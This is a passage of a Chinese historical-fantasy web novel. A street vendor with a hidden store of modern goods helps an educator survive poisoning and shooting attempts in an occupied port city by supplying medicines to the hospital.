常文远脑袋耷拉着:“你刚刚都听见了,该劝的,我们不知道劝过多少次。可伯父那个人太固执了,连伯母劝都没有用,何况我这个外八路侄子。” 行吧…… 春妮坐上自行车后座,常文远长腿一蹬,车轮子轱辘辘转动,带起微微的风。 这是个清凉的夏夜,自行车带来的微风让春妮感到了久违的凉意。但她满脑子都是常先生的事,问道:“你们都说是倭国人想杀常先生,为什么会这么说?” 常文远的声音有些闷:“前两个月,倭国政府想请他做新政府的教育部长,伯父他没同意,当时来劝说他的人走时就曾放话威胁过他。其后没几天,他住的院子里被人扔过猪头和死鱼,还差点出过车祸,今天晚上的事你也看到了,不是专业人士,怎么可能那样精准投毒?伯父他从来与人为善,唯独只在抗倭一事上得罪过倭国人,想他死的人,不作他想。” 春妮打起精神,换了个话题:“你跟常先生是亲戚?那你也是钟县出来的了?” 常文远自行车蹬得呼呼响:“我原籍在钟县。我父亲跟伯父是一个族的亲戚,早年间出来闯荡,因为一些事,没再回去过,我是在海城出生的。” 春妮“哦”了一声,忽然灵机一动:“你有没有想过,常先生不想走,我们或许可以创造个机会让他不得不走?” 自行车咔地刹住:“你仔细讲讲。” 春妮也是灵光一现,常文远再问细致一点,就说不上来了,只好发动他:“你跟常先生更熟悉一些,你想想常先生平时最在乎什么,最想干什么。有什么事是他不得不离开才能干的?” “最在乎什么?最想干什么?”常文远皱起眉头,开始苦苦思索。 春妮跳下车子,不去打扰他的思路,转头去看路灯旁边晕黄着灯火的木质居民楼。 这里一片都是倭国居民区,再穿过两条街,就是她住的地方了。 春妮抬头望那一格一格的木质窗扇,都用木棍半撑着支起来。那里面有孩子的欢笑,有妇人谆谆的叮咛,有男人喝酒后嗄嘎的吵闹……都同沐一片星光,都同样是人…… “我想到了!”常文远猛地一击掌,忽然握住春妮的手:“密斯顾,谢谢你,等我回去——” 春妮将手抽出来,慢吞吞地说:“小常先生,有什么事,能先把我送回去再做吗?” 30-40 第31章 031 你怎么在这 常文远在路上跟春妮简单说了他的计划。 常先生自从创办难童学校之后, 苦于资金来历不够充裕,财政上时常捉襟见肘。而海城想捐的,能捐的, 他认识的门路已经跑了个遍, 目前他只能做到这一步。如果资金问题无法得到长效解决,学校的运行将会有大问题。 “大伯前些日子一直在计划出海城去筹集善款,我可以从这上面想想办法,敦促他尽快成行,至少避过这段时间的风头。” 这的确是个不赖的主意,春妮鼓励他说:“那我就等着小常先生的好消息了。” 春妮决定尽快看完常先生给的两本书,这样她就有理由多跑几次吴江大学, 观察小常先生的计划顺不顺利。 这次常先生 借给春妮的书依然是浅显易懂,故事性极强的杂书。一本是《华国历史故事2》, 另一本则是一本叫《伊索寓言》的外国译本。 春妮馒头生意暂时做不了,她是忙惯的人,每天守着凉粉摊子,闲来无事当个故事翻看几页, 不到两天就翻完了两本书。 最后一页读完,春妮当天下午立刻提前收了摊子, 预备再去吴江大学一趟。 这一点距离,路途又熟,春妮向来舍不得多出钱坐车, 仍然沿着旧路快步朝目的地出发。 估摸是因为连续两次的死人事件,整个公共租界的倭人聚居区, 春妮竟没有再找到一个说华国语,穿华国衣的华国人。 入耳处都是叽哩呱啦的鸟语,和满大街剃月代头, 腰系白布带的倭国男人,与挽发髻,走小碎步的倭国女人。 大街上很热闹,春妮却感到了一种无法言说的孤独。 国是那个国,人却不是那群人。 正在这时,春妮看到了一个熟悉的人影钻进一处里弄。 她叫了声:“王阿进!” 王阿进担着担子,担子里是半筐烂熟桃儿和些许李子杏儿,惊喜道:“小顾姐,你也来卖——”他看到春妮手上的小包袱,改口道:“小顾姐是打这过?” 春妮“嗯”了一声,问他:“其他人呢?怎么就你一个在这?” “他们啊……有些人不敢来了,”王阿进又给了她一个意想不到的答案:“还有些人应该是在倭国巡捕房那吧。” “他们都被抓起来了?” “那倒不是,是死在福兴纱厂那个孩子的父母,今天带着孩子的尸体堵在巡捕房门前要说法。有认识那家父母的人,跟他们一起去了。” 春妮差点以为自己听错:“这里所有的摊贩都去找倭国人要说法?他们是疯了吗?那些倭国人到处屠,杀人不眨眼,他们不要命啦?” 海城沦陷之前,这里时常爆发游|行罢工等示威活动,等到海城沦陷后,类似的活动一下就消失不见了。因为双城政府固然不是个东西,但不会随便举枪杀人,这些倭国人可不讲这个道理,他们随意设卡有时在街上都杀人,海城人对他们的残暴深有体会。 她忽然想起杨大强,好像今天中午下学后就没见他再回来,这里头该不会也有他的事吧? 王阿进耸耸肩:“可不是疯了?”话没说完,就见春妮转身往巡捕房的方向走去。 王阿进急忙追上去:“小顾姐你去哪?你不会也要去掺合吧!”他后知后觉,发现不对立刻想往后溜。 却听春妮道:“我就去看看。” 王阿进“哦”了一声,以为春妮是想去看热闹,跟上来小声道:“那小顾姐你一会儿记得站远一点,别被卷进去了。” 说得这一句,两人转出这条弄堂,眼前豁然一座石膏外墙的英式建筑——巡捕房就在他们所立位置的斜对面。 而巡捕房外边除了两个端枪守门的巡警之外空无一人。 “人都去哪了?”王阿进纳闷地摸摸后脑勺,脸色忽然一变:“该不会都被倭国人抓起来了吧?” 春妮心里也有几分怀疑,她罕有地有几分拿不定主意:到底是先走,再想办法打听消息,还是留在这里再观察一会儿? 这条里弄两边都是长窄的墙壁,从对面一眼就能望透底。春妮看见,那两个倭国巡警已经指着他们的方向开始交谈,并走下了岗亭。 “糟了,那两个倭国鬼子已经看到我们了,小顾姐,我们快走吧。”王阿进转身就要跑。 春妮这时却作了个相反的动作,她往前走几步,竟迎了上去。 王阿进脸色大变,不等他再说话,巡捕房门口吵吵嚷嚷的,竟涌出一大堆人。 “陈阿大,老熊?他们怎么跑到巡捕房里去了?” 春妮盯着人群中间的那个年轻人没出声,这人穿着身摊贩们穿的粗布短褂:常文远,他怎么在这? 他们两个就站在路口,对面的人很快也看到了他们。 常文远对她使个眼色,春妮转身想对王阿进叮嘱一声,这货已经挑着筐子迎上去:“阿大,你们怎么会去了巡捕房里边?” 春妮这时也看到了淹在人群中间的杨大强,他神色平静,正在跟旁边人说话,看来是没出什么事。 虽然很想留下来听听事情的始末,但常文远已经脱离队伍。春妮感觉,常文远这时应该不会喜欢她当众叫破他的名字。见王阿进在跟摊贩说话,她趁人不注意,闪身出了里弄,向常文远离开的方向跟过去。 只是春妮想不到两人明明离的距离不远,到她走过去时,常文远已经不见了。 她茫然地在原地转了几个圈,难道常文远在躲着她?一离开她视线就跑了?可自己又不是不认识他,找不到他—— 春妮神色一僵:上次跟他走了一路,忘了问他联系方式,她还真的是找不到他!若是想找到他,只能通过常先生,可她怎么跟常先生说,自己要去寻一个只有过一面之缘的人? 这时,里弄的另一头一个身影闪出来,那人穿着身寻常学生穿的中山装,戴一顶黑色有檐贝雷帽,正低着头疾步而行。 春妮心中一动,小声叫道:“小常先生?” 那人抬起头来:“你怎么在这?” 春妮还想问他呢,他怎么在这。 她也不是笨人,对方的这种装扮,一看就是有不方便说的事。她说道:“我不是听说摊贩们都到了巡捕房要说法吗?怕有事发生,跟过来看看。他们怎么交涉的?好像都挺平和啊。” 常文远笑了笑:“维新政府新市长上任,新官上任三把火,自然要关心关心民生大事。” 春妮琢磨一下:“你是说,新市长插手了这件事?”想起在人群中看到的,“走在最中间那个穿西装的白胖子就是新市长?” 常文远点头:“是他。” “那他怎么插的手?事情解决了吗?” 常文远又笑了笑:“还能怎么插手?市长亲自领着苦主到巡捕房报了案,要求严惩人犯。” 春妮:“……” “不过新市长家资颇丰,他这次承诺,愿从私产中拨出五十块钱给两位苦主作丧葬补偿。” 春妮恍然大悟:“难怪大伙都这么平和。”又叹道:“人都没了,能有点钱财补偿,也算略有安慰。” 常文远冷笑:“不过是邀买人心的手段。” 春妮:“……”这才是她认识的那个小常先生嘛。 春妮忍不住试探:“这是我们小摊贩之间的事,小常先生怎么跟着一起去了?”还穿成那个样子。 能让常先生那样紧张,她不信这位小常先生会平和地跟维新市长走在一起,这位可是海城市民私底下封赠的“海城第一大奸人”呢。 常文远道:“这次新市长答应出这个头,是我一位老师出面做的说客,我自然也要过来壮壮声势。” 春妮:“……”这不是说了跟没说一样吗?刚刚看你们走在人群里的样子,新市长可不像是跟你认识。 春妮体贴地转移了话题:“倭国巡捕不愿意严惩凶手,只怕这一块儿以后不好再做生意了。” “那倒不至于。”常文远却道:“新市长已经跟巡捕房达成协议,巡捕房会留出几个位置供我们华国人摆摊。从明天开始,报纸就要开始大作宣传了。” 他见春妮神色怏然,讶道:“你怎么不高兴?” 春妮无精打彩道:“一般固定位置的摊贩都要办理牌照交摊位租金,也不知道他们会不会给划到哪个犄角旮旯,摊位租金多少。我瞧巡捕房今天也就是联合新市长作了场戏,真信他们会做好事,那才是傻了吧。” 常文远挑挑眉毛:“你倒看得明白。” “小常先生没摆过摊,不知道他们玩的把戏。”春妮苦 笑道:“我听老人们说过,以前公共租界都用的固定摊位这个办法。但租用摊位的小贩们每个月要交的摊位费足有两块大洋,现在物价高,倭国人又贪心,这个价肯定打不住。再有了固定摊位,□□肯定也要来沾手,还要冒着巡警们打死人的风险。这么一算,我还不如到英国人地盘上摆呢。” 常文远默默听着,到她说完话,问她:“你又是去我伯父那?他上次给你两本那么厚的书,你看得倒快,才两天就读完了?” 春妮也不瞒他:“我其实是想知道,你那边的事安排得怎样。不赶紧读完书,我怎么好上门打听?” 常文远失笑:“你可以直接来问我。我伯父那人,对读书最看重。要不是上次出了那么些事,天又实在晚,他定是要考你的。你囫囵吞枣能记住什么?若答不出来,岂不是丢脸?” 这春妮可没料到! 她现在听见“考试”两个字,心里就发慌。自从方校长一心扑到教材印刷上后,除了刚开始那几天他没空督促自己之外,后头硬是抽出时间,每天给她布置任务,到休息天还要单独给她出题来考她! 考完之后批改,对的且不说,只要错了,要么是罚抄,要么是罚背,绝不会轻易放过她。 方校长的罚抄罚背大法祭出来,几回之后,硬是把春妮给考得面色如土。 春妮强笑道:“小常先生,对不住,我想起来还有别的事,先走了啊。” 常文远憋着笑,看她是真的慌了,才道:“你慌什么?我又不考你。不是想知道我伯父的决定吗?我告诉你就是。” 第32章 032 苦思冥想 经过常文远的警告, 短期之内,春妮是不敢再去找常先生了的。她决定,常先生借她的这两本书, 她每本不精读三遍以上, 绝不会再出现在他面前。 两人便沿着春妮的来路往回走,路上,常文远告诉她,那天她走之后没多久,学校的化验室就出了结果。 常先生的牛奶里被人投了氰化|钾,而那天晚上,对面西餐馆请来的杂工也同时失踪了。 常家的婆媳两辈太太都吓坏了, 坚决要求常先生这次必须离开海城避难。 常先生被家里人念叨得不得安宁,正在这时, 常文远提起,说国际难民大会将会在泰国召开,正好常先生收到了请柬,届时肯定会有不少国际名流, 主要是东南亚华裔富商去参会,常先生不如去那里寻找机会。 战争开始之后, 大量海外爱国侨胞们向国内捐款捐物,其中不乏有回国组织医疗队奔赴前线,甚至直接穿上军装参战的华侨。这其中, 东南亚华侨出人出力,表现极其亮眼。常先生此去泰国, 有极高的成功率募集到善款。 这个折衷之计立刻得到了常氏夫妇的一致认同,常先生需要暂避太座和母亲虎威,常太太则巴不得常先生赶紧离开海城这个是非之地。 趁常先生没反悔, 一家人很快定好行程,这两天常文远就在帮着常先生跑腿订船票,收拾行李。 “常先生什么时候走?” “三天之后。”常文远笑道:“伯父此去,没有两三个月回不来,你不用这样惧怕。” 春妮干笑一声:“我怕什么?我,我是怕,那些倭人还没有放弃想杀常先生的念头。” “不会吧?我大伯都已经不打算跟他们硬顶了,他们为什么要赶尽杀绝?”常文远不太相信。 倭国人虽说在海城制造了很多血案,连外国人对上他们都要吃亏,甚至在其他地区炸毁过学校,杀过学生,但还没有向海城教育界人士动过枪。海城情况特殊复杂是其一,再者,别看教育界都是些文人,但教出来的学生和他们自身人脉遍布全社会,当下社会,学生又是最不好惹的团体,不管是谁,对上这样一群人都要掂量掂量。 倭人占领海城是看上了它的港口和进出口渠道,一旦海城乱下去,这些优势必将荡然无存。这是各方势力都不愿意看到的结果,所以说,海城脆弱的平衡目前没人愿意打破。 春妮可不觉得自己想太多,她被末世逼得几乎患上被迫害妄想症,觉得再小心也不为过。 因而问道:“常先生要走的事,还有多少人知道?” “不多吧。就是一些同事,朋友,家里人,还有你。”常文远道。 春妮惊呼:“这还不多?你这么一说,再人传人传一传,这两三天过去,不得有几百人都知道常先生要离城避祸了?” 常文远神色也凝重起来:“可我伯父毕竟是一校之长,不能说走就走,总要将他离开这阵子的事务安排好吧?不然他若是悄悄走了,谁知会不会横生什么波折?” 这倒也是,常先生不是那么不负责任的人。 春妮只好说:“那你们这些天记得多留意些。” “那是自然。”常文远被春妮的紧张情绪感染,无心跟着她闲逛下去,告辞道:“没别的事,我就先走了。” 春妮忙说:“你给我留个地址,若是我有什么事,也好方便去找你。” 即使常文远心事重重,也被这小姑娘逗得一笑:她是真的怕考试啊!怕得都不敢登伯父的门了。 不过这小姑娘说话做事很有分寸,常文远并不排斥帮她,痛快说道:“我在吴江大学建筑系读大一,你去了之后打听我的名字就能找到我。” 春妮默念一遍,常文远此时已经转身,她鬼使神差地叫了他一声:“小常先生,要是遇到什么麻烦,你可以来找我。我有门路,可以弄到药品,或是别的——”什么紧俏物资。 常文远这回认真地看了她一回:她知道她说的这话代表什么意思吗?现在倭国人管制药品极严,紧俏药连药铺都没有门路弄到,或许只有□□手里有一点,她一个在街上卖馒头的小姑娘能去哪弄药品? 不过他还是谢过她:“我知道了,希望我不会因为这件事寻你吧。” 春妮一看就知道这人没往心里去,拽着他到街边一个文具店,找老板要来纸笔,给他写下吉拉太太面包房的电话,又交代他一遍:“你可千万别忘了,也别弄丢纸条。” 现在电话打接都要钱,吉拉太太家除了卖面包,这台电话也是不错的盈利点。只要有人打过来找她,吉拉太太必然会通知她。 常文远哭笑不得,也为她的热心感动:“你也不要过于紧张。我知道你担心伯父,这样吧,我这两天贴身保护他,直到他上船总行了吧?” 春妮心说,我总觉得你这个人不会那么老实,说不定常先生没遇到麻烦,反而是你出了事呢。 春妮没想到,她心里随意嘀咕的这句话的前半句很快照到了现实。 跟常文远告别后的第二天晚上,倭国巡捕房出了事。 说是他们关押的一群犯人有人不知从哪弄到钥匙,打昏狱警之后趁夜越了狱。 因为事发在深夜,这件事直到第二天清晨的交接班时才被发现。 倭国人挨家挨户破门大搜,人找没找到不知道,把海城人倒是折腾得不轻。那些凶神恶煞的倭国兵轻则砸毁物品,重则打伤甚至带走房屋主人审查。 被倭国人带走是什么下场……连吉拉太太都说,她知道的,被倭国人带走的华国人包括白俄人中,还没有一个全须全尾地回来过。要么是从此不见音讯,有钱一点的,交点钱进去,可以赎个尸首回来。 包括春妮所在的,名义上应该是英国辖区,实际还要给倭国交巡捕捐的闸口路也遭了殃。在入住之前,吉拉太太跟她信誓旦旦保证过,说出了事会保护他们的英国巡捕们突然变成了聋子瞎子,一个也没出现。 整条街的居民被那群倭国人折腾得人仰马翻,春妮在去学校的路上,不免要将在出事前一天巡捕房前碰到常文远的事多想一想。 “还在想 那几个倭国人的事?”夏风萍落在后边,叫春妮几回,她都跟丢了魂似的,不得不抬高了些声音。 春妮“唔”了一声,含糊过去。 夏风萍自顾自说下去:“你说,我们跟校长申请,让他另外添置一块铁板的事,他会不会同意?” 这姑娘怕春妮叫倭国兵落下心理阴影,在想着法逗她说话。 他们买的那块铁板虽说修修补补能用,但仍是有些许细缝,蜡纸刻到那里,不注意就会被勾破,漏过很多次墨。方校长当时跟常先生约定好交货时付款,昨天第三批教材交工,校长已经拿到了六十块的工料费。 老师们便商量着,跟校长提一提先换块铁板刻印,那块背面刻斜纹的旧铁板可以翻过来,等刻印试卷时再用。 她神思不属,顺着答下去:“会……会吧。” 春妮心里揣着倭国巡捕房的事,跟谁都没法说,又不可能去问常文远,简直要把自己憋得食欲不振。 直到听见夏风萍问她说:“对了,现在天气越发凉快。中秋节之后,恐怕我们的凉粉生意会越来越不好做,你准备好之后做什么了吗?” 这个春妮早有腹案,道:“还是先做馒头吧。” “做馒头啊?这些力夫们都没什么钱,只怕你做得再实心,也未必肯有多少人买。” 春妮道:“我先拿馒头试试水,看会买我馒头的人有多少。越是天冷,馒头越是经放,卖不完咱们留着慢慢吃也一样。再说,我也不止做馒头,再想些别的花样不也一样?” “还做甜包子吗?” “不做了,”春妮说:“甜包子太贵,又不顶饿,他们不会花钱买这个。我预备弄点杂粮来,玉米,荞麦什么的,都弄一点,先做杂合面馒头,把成本先降下来,再看看市场反应再说。” “真可惜,江浦那边不能再去卖了。”夏风萍叹气。 对已经发生的事,春妮向来不会想太多让自己后悔。她乐观地说:“不能卖就不能卖吧,咱们不也有了码头这种好地方吗?会好起来的。” “那……你到时候一个人忙得过来吗?” 春妮瞅着她,噗地笑了,揶揄道:“说到底,你是怕自己的兼职黄了吧?” 夏风萍向来有什么说什么,瞪眼道:“怎么?我还不好意思说吗?我是没钱用嘛。” 她是学校的国文老师,每天的课程都是满的,课时比春妮多多了,可一个月也只比春妮多四块钱的课时费。这点钱在她手里根本不够花,这两个月,她除了给春妮打下手,投出去海量的诗文小说,只有一篇不足十行的小诗被一个名不见经传的小报取录,给她汇过来五毛稿费之外,别的都是石沉大海。 这点钱连邮费和买报看报的本都没捞回来。 这下,夏风萍算是彻底信了朱先生说的,现在报社基本采用的是约稿制,除非有特别优秀的散稿,他们会挤出空间刊载之外,大部分散稿都是留下以备不时之需。比如说版面不够用需要补稿,或是约稿作家临时开天窗顶稿用的。 假如春妮不再需要帮手,她肯定不好意思再白吃白喝,房租也得负担起来,这开销就太可怕了! 对于她的担忧,春妮现在也没法给出保证,只说自己会努力开发新品种,想出新的经营方式,绝不会满足于只做杂合面馒头,打发她先去上班。 虽说夏风萍是半开玩笑说的话,但春妮听到了心里。除了她,现在李德三也靠着春妮吃饭。若真没有合适的营生,这两人中,夏风萍还好一点,德三想重新回去卖报纸,怕是地盘也早给人占了。 做点什么呢?春妮苦思冥想,真将倭国人和常家人的事给放到了脑后。 直到两天后,春妮在路边卖凉粉,吉拉太太的另一个儿子詹姆斯从弄堂里冲出来,大叫:“顾,你的电话!有人请你救命!” 第33章 033 硬通货 “伯父他中枪了, 止血药消炎药,随便什么药都带过来!你快来,我们在慈仁医院!”常文远在电话里声音完全变了调。 那群倭国王八蛋果然又对常先生下了手!还特意赶在他出国之前, 这是一定要他死! 春妮问他:“常先生现在怎样?” “他大腿和肋下中了一枪, 在抢救室抢救。”电话里,常文远的呼吸非常急促。 “我马上来!” 春妮挂了电话,才发现自己的手在轻微抖动。 她闭上眼,深吸一口气:倭国人!倭国人!! 春妮一刻也不敢停,冲到大街上拦下一辆出租车,加了一块钱让差头快点开。在车上,她偷偷将存放了两辈子的酒精, 云南白药和青霉素取出来,撕掉标签攥在手里, 又取出纸笔,在车上写了些注意事项。心里默念着:快点,再快点! 数分钟过后,慈仁医院到了。春妮跳下汽车, 直奔慈仁医院抢救室。 幸好她上个月来过一回,还记得抢救室怎么走, 经过卫生间时,春妮想起一件事,钻进去取了好几样止血补血的中药材, 跟酒精,白药和青霉素都放在包袱里, 朝抢救室跑去。 离着大老远,春妮听见一群人痛哭的声音,她心中一凉:莫不是来晚了? 正在这时, 一个人从拐角处冲过来,春妮走得太急,顿时跟他撞了个满怀! 那人看见是她,顾不上其他:“药带来了吗?” “带了,消炎药和止血药都有,”春妮将包袱打开:“要哪一种药?” “止血药是哪种?医生说,伯父的血一直止不住,再流下去怕会出大问题!” 春妮拿出白药:“云南白药,快拿去用。” “文远。”春妮上次有过一面的中年妇人也走了过来,几天功夫,她憔悴得不成样子。 常文远将白药递给她:“伯母,这是我朋友弄来的云南白药,快让医生出来给伯父用上。” 他见常伯母盯着春妮动作迟疑,知道她这会儿成了惊弓之鸟,看谁都像坏人,说道:“伯母,这位密斯顾就是我们同您讲过的,上次给伯父送馒头过来,碰巧救了他的姑娘。” 常太太“啊”地一声,匆匆说句“失礼了”,捧着药瓶就往抢救室里跑:“大夫,我们找来了云南白药,快给我先生用上。” “有云南白药?给我看看!” 春妮轻轻舒了口气,这才发现常文远眉头微皱,脸上渗满了汗珠。 “你也受伤了?” 常文远指指右臂,引她到一边的长椅上坐下:“这里中了一枪,已经包扎好,不碍的。” “常先生是怎么出的事?刺杀他的人呢?被抓到了吗?” “他今天到法租界来办事,刚下电车就被人迎面打了几枪。幸好当时文俊也在我们身边,他追上了其中一名歹徒,已经跟着巡捕去做口供去了。”他口中的文俊是常先生的大儿子。 常文远心有余悸:“幸好我当时发现不对,推了伯父一把,不然后果难料。” “那他身上的伤怎样了?” “大夫说,他肋下的那处伤被肋骨挡下,看着险,却没怎么失血。反而是他大腿那处,一直没停过流血,恐怕——” 说到这里,常太太走了回来,就要弯腰给春妮行礼。春妮忙拦住她,连说“使不得”。 常太太没有勉强,歉意道:“遇到这样的事,我实在是慌了神,密斯顾,要有什么招呼不周的地方,你千万别见怪。” 说完,又拉着孩子们跟春妮道谢。 又过了一会儿,抢救室门打开,常家人急忙围上去问:“大夫,我丈夫/爸爸/大伯怎么样了?” “血止住了,但常先生目前仍然处于昏迷中,”不等常家人高兴出声,他补充道:“如果你们有门路弄到消炎药,最好准备一点。常先生身上都是枪伤,如果有消炎药会更好。” 常家众人都希冀地看向春妮。 春妮将青霉素拿出来:“用这个吧。” “这是什么?”医 生接过药,对着光看了看。这种药同样用他们医院常用的西林瓶装盛起来,但这瓶子的澄澈度,以及瓶口的金属盖都比他见过的所有抗生素药瓶都好。这是从哪来的进口药? 上次杨大强爷爷住院,春妮已经打听到,这个年代公认最有效的消炎药是液体磺胺,青霉素还在实验室阶段,华国可能连菌种都没有取得。 她只好说:“给我药的人没说名字,我只知道是消炎药。” “就是说,这种药成分不明,来历也不明了?” 春妮顿时心生不妙,这大夫果然将药递还给她:“抱歉,来历不明的药品,本院不能使用。” “这,这……”常太太急道:“大夫,不能通融一下吗?我们家先生等着救命啊。” 常家的几个孩子也哭起来:“妈妈,我要爸爸。” 医生为难道:“不是我不帮你们,这药来历不明,也不知道成分,万一出了问题,我们可担待不起。” “大夫,我可以为她担保,她不会有问题的。”常文远也帮着说情。 可医生只是摇头:“抱歉,这是违反规定的。” “郑主任,病人他——”抢救室的门被再一次推开,一位戴着口罩的男医生走出来。 春妮听见他的声音,眼睛一亮,冲到他面前,道:“秦大夫,我,杨大强的老师,你还记得吗?” 这位年轻的男医生正是春妮前些日子负责主治杨老头的大夫。 秦大夫点点头,显然有点懵圈:“哦,顾老师,你怎么——” 春妮把他拽到前一位大夫的面前,把药瓶塞给他:“你帮我跟郑主任说说情,我手上真的拿的是救命的消炎药,不是骗子,也不是害人精。你想想,我要是敢害人,不早就塞了药就跑了吗?我留在这是等你们抓我吗?” 秦大夫握着药瓶,自然也不可能看出不同。但他同常太太道:“病人仿佛有些发热,他平时是不是身体比较虚弱?” 郑大夫一怔,常太太已道:“我家先生风凉风热容易伤风,这个不碍事吧?” 郑大夫快步走回去:“先量好体温再说。” 经过这一次打断,外面的几人都无心再交谈,常太太忧心忡忡地揽着两个孩子,眼睛盯着抢救室一动不动。 忽然,抢救室的门再次打开,所有人不约而同站起来。 秦大夫脚下生风:“病人已经有炎症出现,把那瓶药给我。”又转头对常太太说:“您必须跟我们重签一份免责申明,申明用了这瓶药之后,之后发生的所有事都与我们无关,不会追究本院及主治医生的责任。” 常太太脸色刹白:“一定要签吗?” 秦大夫沉默,点头。 “那假如不用这瓶药呢?” “我们会尽力护理病人,保证病人的健康。” 常太太显然听明白了秦大夫话中之意,她转头望向春妮:“密斯顾,你能保证你的药一点问题都没有吗?” “事实上,”春妮谨慎地说:“用这瓶药需要先做皮试,皮试不过敏,才可以给常先生注射。” 春妮这样细致而相对专业的回答奇迹般地安慰到了常太太,她立刻点了头:“行,我来签。” 秦大夫却盯着药瓶若有所思:“需要做皮试?难道这是破伤风毒素血清?不像啊。” 春妮生怕他再提出什么自己招架不了的问题,将在车上写的字条塞给他:“这是做皮试需要的剂量和使用方法,皮试做完后等二十到三十分钟才可以进行静脉注射。” 秦大夫眼神扫过纸条:“这是你写的?” “给我药的人口述,我记录下来的。” 像春妮这样时常出外派任务的基地战士,手上常备药品怎么可能没有青霉素?要不是实在不方便,她都能现场拿个针管来,自己去给常先生注射。 秦大夫若有所思地看了春妮一眼:有时间写使用方法,没时间记药名? 不过海城沦陷之后怪事多,拿了救命的药,却说不出名字,绝对不算最奇怪的事。秦大夫见怪不怪,没有就这个问题多问。 送完药品,春妮也算完成了任务。 不过这时候她一点也不想走,留在抢救室外跟常家人一起等消息。 又过了半个小时,病床终于被推出来。 常太太追在旁边问:“大夫,情况怎么样?” 秦大夫眼神复杂地看了春妮一眼:“暂时稳定下来了,接下来的这一两天是关键时期,你们多注意护理观察,一有不对就赶紧叫护士。” “那药还缺不缺?”常文远问。 “可以适量再备一些,防备有不时之需。” 常太太点头记下,常文远站起来往外走:“我再去想想其他办法。” 常太太则希翼地看向春妮。 春妮忙说:“你们要是有需要,打我电话就是,小常先生知道的。” 一给就要漏馅,直接给是不行的。 春妮见他们交谈渐远,抢救室里只剩下打扫的护士,溜进去找到她放白药的瓶子和青霉素瓶子收回空间,这才真正把心放回到了肚子里。 常先生被大夫们不知推到了哪里去,春妮想想,她送药的任务已经完成。常家人有病人要照料,自己留下来只能添乱,便调转过头,准备先悄悄离开,明天再找时间来探望常先生。 常太太却很快找了过来:“密斯顾,你怎么这么快要走?” 春妮笑笑:“常太太叫我春妮就好。现在天晚了,我再不走,怕是赶不上电车。” “这样啊,那我就不好留你了,”常太太从包中抽出一卷钞票,塞到她手里:“我知道,这点钱肯定不够付你的药钱,但我们得知消息匆忙,手上没带多少钱出来,只能请你先拿着,剩下的,我有空让文远给你送过去。” 这卷花花绿绿的钞票是法币,每一张都是十块面额,春妮粗粗一握,至少也有五六张,抵得上十多块大洋。 春妮在上一世最喜欢收集药品和食品,因为这些是硬通货,她空间里堆放得最多的也是这两者。当年空间坍塌,虽说大部分物资都烟消云灭,但她囤积的药品和食品将她那八平米的小阁楼和朱先生的房间塞满,都没有一点问题。给常太太的这几支药品,根本对她没有什么影响。 她刚到海城也打听过,因为倭国人的管制,现在黑市上一支消炎药价可比黄金,像是现在最顶级的药品磺胺,一支就可以换取一条小黄鱼。 春妮一开始不是没动过倒卖一点的脑筋,可她手里的药品从包材到性状都跟人家不一样,她怎么拿出来卖?跟发横财带来的麻烦相比,还不如辛苦点攒钱,至少用着心里踏实。 她从拿药品到进医院,就没想过拿它来赚钱。 方校长说过,常先生家里的钱都拿出来办了学。常太太给她的这一点,说不定就是他们家里现在能掏出来的所有。 可她若是不要,怎么解释她药的来源? 春妮握着这叠新鲜到手的五十块钱,觉得烫手至极。 第34章 034 比命还重要 常先生是海城市教育界知名人士, 跟以往那些草草了帐,可能都不会为人所知的刺杀案件不同,他的遇刺引起了社会各界极大的愤慨。 几份报纸一改寻常不问国事的风格, 连续数日发表了几篇言辞犀利的评论。而吴江大学的学生们, 据常文远跟她说,要不是常先生传话回来,再三申明不许学生乱来,说不定这会儿已经组织起游|行,甚至引发了流血冲突。 这样的乱象没人主持不行。 顺利熬过三天的危险期,在医院又观察了几天之后,常先生执意回了家。 常先生家在吴江大学临时校区旁边的里弄。常太太说, 学校出事之后,他们在朋友家住了一段日子, 找到新校区之后,因为常先生想离学校近一点,只好在附近的石库门里找了个套房租住。 套房外头平时作为客厅,套房里头则住着常氏夫妻, 常先生的母亲和他们的两个 孩子一家三代人。春妮目测,这里的使用空间最多只有三十个平方, 平时常家人想上厕所,还要到一楼的公共茅厕去。 常先生回家头一天,就将春妮叫过去, 塞给她五十块大洋:“这些钱够不够?” 春妮数出几块钱退还给他,道:“要不了这么多。” 常先生不相信, 说:“我知道现在市面这类药品的价格,你不要跟先生我打马虎眼。你养活家里不容易,能做倒卖药品这一行的, 也不会是善茬,你不要欠他们的。该给你的,我一分都不会少。就是……咳咳,你缓我些时间,等我下个月发了薪水再还你剩下的。” 春妮只好说:“贵只贵在云南白药,其实那支消炎药吧……它不是真正的进口药品。” 常先生吃惊道:“难道这是假药?”也不该啊,若真是假药,他那天早就该因为炎症并发吃大苦头了。 两位大夫都说,像他这样重的伤,能平安度过危险期,药品的作用应当不小。本来大夫们还想拿到化验室去化验一下成分,等忙完想起来后回手术室去寻,药瓶早就被扫走了。 “这倒不是,”春妮拿出想了好几天的说辞:“拿这药给我的人说,这药他们是仿的外国药造的。现在的药厂您知道,不能向外说出去,不然分分钟又变成倭国人的,或是被逼关停。先生,您可一定要替我保密啊。” 常先生登时严肃起来:“竟是如此?那这个话题我们以后都不要再提,先生我也不会再问了。”完了还叮嘱她:“你也不要再说起这事,跟谁都不能说,知道吗?” 春妮心说,不是怕你病着还要操心药费的事,我能费心给你编这样的谎话出来? 用这套说辞成功糊弄住常先生,春妮并没有感到轻松。 因为常先生靠在病床上,果真如常文远所说,开始考起了春妮。 当然,用常先生的话说,这绝对不是考试,就是“随便聊聊”。 可是常先生啊,随便聊聊,您能不能别总把话题往“你觉得读这几本书对你有什么启发”,“秦始皇统一六国之后做了什么事”,“萧何月下追陈平,啊,不是追陈平吗?那追的是谁?”这种问题上带啊! 春妮被考出了一身的汗。 直到常太太端着补品进门:“好了好了,都受了这么重的伤也不消停。春妮好心来咱们家看你,你看你把孩子吓的,让人好好喘口气怎么了?” 春妮心里狂点头,趁常先生被数落,赶紧起身告辞:“常先生,您好好养伤。我先走了,改天再来看您。常太太,您别送我,照顾常先生吧。” “等等!”常先生叫住她,转身从床头抽屉里抽出几本书:“这些书你再拿回去看看。” 春妮:“……”春妮简直怀疑常先生这几本书是走哪带哪,只等哪天碰到她了塞给她。 她本以为这回常先生养伤,自己能逃过一劫,没想到还加了担子。 捧着这几本书,春妮心情沉重地走出常先生卧室。 这种沉重的心情在看到客厅里满脸凝重的常文远时,加倍不爽。 常文远站起来:“伯母,我去送密斯顾吧。” 